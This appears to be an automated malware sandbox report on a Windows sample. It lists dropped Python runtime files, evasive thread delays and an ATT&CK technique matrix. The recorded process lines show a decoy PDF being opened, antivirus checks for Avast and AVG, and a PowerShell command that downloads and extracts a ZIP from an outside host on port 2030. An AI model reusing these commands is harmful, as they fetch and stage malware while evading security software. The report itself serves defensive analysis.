Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 6452	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4157	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4917	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7596
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2102

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_overlapped.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\select.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_zoneinfo.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_tkinter.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_uuid.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testclinic.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testinternalcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_msi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testsinglephase.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testimportmultiple.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_decimal.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_ssl.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\libffi-8.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_bz2.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testcapi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testbuffer.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\libssl-3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testmultiphase.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\sqlite3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_sqlite3.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_ctypes_test.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_testconsole.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\tk86t.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\tcl86t.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\zlib1.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\libcrypto-3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Launcher\pyw.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_wmi.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Launcher\pyshellext.amd64.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Launcher\py.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\Downloads\Extracted\Python\Python312\DLLs\_multiprocessing.pyd	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7416	Thread sleep count: 4157 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7416	Thread sleep count: 4917 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7476	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7492	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7500	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7764	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7424	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5452	Thread sleep count: 7596 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5452	Thread sleep count: 2102 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3664	Thread sleep time: -10145709240540247s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: subprocess.html.23.dr	Binary or memory string: performance. On Windows Subsystem for Linux and QEMU User Emulation,
Source: svchost.exe, 0000000C.00000002.2727561827.000001999B254000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000C.00000002.2726822284.0000019995A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWy%
Source: powershell.exe, 0000000A.00000002.3579330025.0000024652670000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\AQRFEVRTGL.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "AvastUI.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "avgui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://jsnybsafva.info:2030/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior

Source: find.exe, 00000009.00000002.1327471814.0000020A5835B000.00000004.00000020.00020000.00000000.sdmp, find.exe, 00000009.00000002.1327523852.0000020A58584000.00000004.00000020.00020000.00000000.sdmp

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	22 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Source	Detection	Scanner
C:\Users\user\Downloads\Extracted\Python\Launcher\py.exe	0%	ReversingLabs
